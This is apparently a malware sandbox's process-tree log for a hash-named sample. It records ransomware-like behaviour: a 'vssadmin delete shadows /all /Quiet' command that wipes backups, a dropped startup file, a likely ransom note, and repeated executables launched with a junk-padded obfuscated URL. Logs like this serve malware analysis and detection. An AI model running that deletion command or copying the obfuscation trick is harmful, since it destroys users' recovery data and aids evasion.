C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5868

C:\Users\Admin\AppData\Local\Recombining.exe
C:\Users\Admin\AppData\Local\Recombining.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:2456

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
1⤵
PID:2376

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x50c 0x33c
1⤵
PID:1528

C:\Program Files (x86)\Blocks\Gittings.exe
"C:\Program Files (x86)\Blocks\Gittings.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5776

C:\Program Files (x86)\Blocks\Recombining.exe
"C:\Program Files (x86)\Blocks\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:1864

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:4176

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:2452

C:\Program Files (x86)\Qa\Gittings.exe
"C:\Program Files (x86)\Qa\Gittings.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:6076

C:\Users\Admin\AppData\Local\formby.exe
C:\Users\Admin\AppData\Local\formby.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:3080

C:\Users\Admin\AppData\Local\Temp\nsq9365.tmp\Gittings.exe
C:\Users\Admin\AppData\Local\Temp\nsq9365.tmp\Gittings.exe ""tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb""
2⤵
PID:4128

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:6132

C:\Users\Admin\AppData\Local\jewels.exe
C:\Users\Admin\AppData\Local\jewels.exe
1⤵
PID:4308

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5656

C:\Users\Admin\AppData\Local\Recombining.exe
C:\Users\Admin\AppData\Local\Recombining.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:2044

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
1⤵
PID:5612

C:\Program Files (x86)\Blocks\Gittings.exe
"C:\Program Files (x86)\Blocks\Gittings.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:2172

C:\Program Files (x86)\Blocks\Recombining.exe
"C:\Program Files (x86)\Blocks\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5192

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:3088

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:6060

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff\" -spe -an -ai#7zMap22145:190:7zEvent26379
1⤵
PID:5768

C:\Users\Admin\AppData\Local\formby.exe
C:\Users\Admin\AppData\Local\formby.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:6024

C:\Users\Admin\AppData\Local\Temp\nsp1C9A.tmp\Gittings.exe
C:\Users\Admin\AppData\Local\Temp\nsp1C9A.tmp\Gittings.exe ""tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb""
2⤵
PID:2344

C:\Program Files (x86)\Mcewan\brahms.exe
"C:\Program Files (x86)\Mcewan\brahms.exe"
1⤵
PID:4912

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
1⤵
PID:5064

C:\Users\Admin\AppData\Local\jewels.exe
C:\Users\Admin\AppData\Local\jewels.exe
1⤵
PID:1300

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:3236

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:1900

C:\Users\Admin\Downloads\9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff\9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff.exe
"C:\Users\Admin\Downloads\9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff\9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff.exe"
1⤵
- Drops startup file
PID:508

C:\Windows\system32\vssadmin.exe
vssadmin.exe delete shadows /all /Quiet
2⤵
- Interacts with shadow copies
PID:5596

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2344

C:\Users\Admin\AppData\Local\jewels.exe
C:\Users\Admin\AppData\Local\jewels.exe
1⤵
PID:5488

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
1⤵
PID:5468

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:4652

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:2456

C:\Users\Admin\AppData\Local\formby.exe
C:\Users\Admin\AppData\Local\formby.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:740

C:\Users\Admin\AppData\Local\Temp\nsi89DB.tmp\Gittings.exe
C:\Users\Admin\AppData\Local\Temp\nsi89DB.tmp\Gittings.exe ""tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb""
2⤵
PID:2608

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\RECOVERY_DARKBIT.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:2136

C:\Program Files (x86)\Mcewan\brahms.exe
"C:\Program Files (x86)\Mcewan\brahms.exe"
1⤵
PID:5052

C:\Users\Admin\AppData\Local\formby.exe
C:\Users\Admin\AppData\Local\formby.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:3288

C:\Users\Admin\AppData\Local\Temp\nsr69C.tmp\Gittings.exe
C:\Users\Admin\AppData\Local\Temp\nsr69C.tmp\Gittings.exe ""tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb""
2⤵
PID:2132

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
1⤵
PID:3496

C:\Users\Admin\AppData\Local\jewels.exe
C:\Users\Admin\AppData\Local\jewels.exe
1⤵
PID:4440

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:5836

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:3020

C:\Program Files (x86)\malaysians\Recombining.exe
"C:\Program Files (x86)\malaysians\Recombining.exe" "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:2108

C:\Users\Admin\AppData\Local\Gittings.exe
C:\Users\Admin\AppData\Local\Gittings.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:2944

C:\Program Files (x86)\Qa\halfback.exe
"C:\Program Files (x86)\Qa\halfback.exe"
1⤵
PID:1848

C:\Users\Admin\AppData\Local\jewels.exe
C:\Users\Admin\AppData\Local\jewels.exe
1⤵
PID:3076

C:\Users\Admin\AppData\Local\formby.exe
C:\Users\Admin\AppData\Local\formby.exe "tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb"
1⤵
PID:3676

C:\Users\Admin\AppData\Local\Temp\nsf67F6.tmp\Gittings.exe
C:\Users\Admin\AppData\Local\Temp\nsf67F6.tmp\Gittings.exe ""tgbnhyhtgbnhyttgbnhyttgbnhyptgbnhy:tgbnhy/tgbnhy/tgbnhywtgbnhywtgbnhywtgbnhy.tgbnhyatgbnhyltgbnhyatgbnhymtgbnhyotgbnhystgbnhyatgbnhyvtgbnhyetgbnhyrtgbnhyrtgbnhyitgbnhy.tgbnhyctgbnhyotgbnhymtgbnhy/tgbnhya2fo0fo2fotgbnhy3fo0pl4pl0tgbnhya7afohtml0tgbnhyAwfchIF4PdtgbnhyzzWK2Hsbb""
2⤵
PID:4836

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-redirect=Windows.Launch
1⤵
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:4356

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xf8,0x108,0x7ffa25bd46f8,0x7ffa25bd4708,0x7ffa25bd4718
2⤵
PID:4632

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2336 /prefetch:2
2⤵
PID:4612

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2760 /prefetch:3
2⤵
PID:5440

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2996 /prefetch:8
2⤵
PID:3236

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3728 /prefetch:1
2⤵
PID:4312

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3744 /prefetch:1
2⤵
PID:4540

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4268 /prefetch:1
2⤵
PID:4852

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4888 /prefetch:1
2⤵
PID:2348

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5240 /prefetch:1
2⤵
PID:3340

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5508 /prefetch:1
2⤵
PID:5772

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5456 /prefetch:1
2⤵
PID:2564

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4440 /prefetch:1
2⤵
PID:5600

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2208,12535112160597225810,16974719215473847676,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6356 /prefetch:1
2⤵
PID:2712

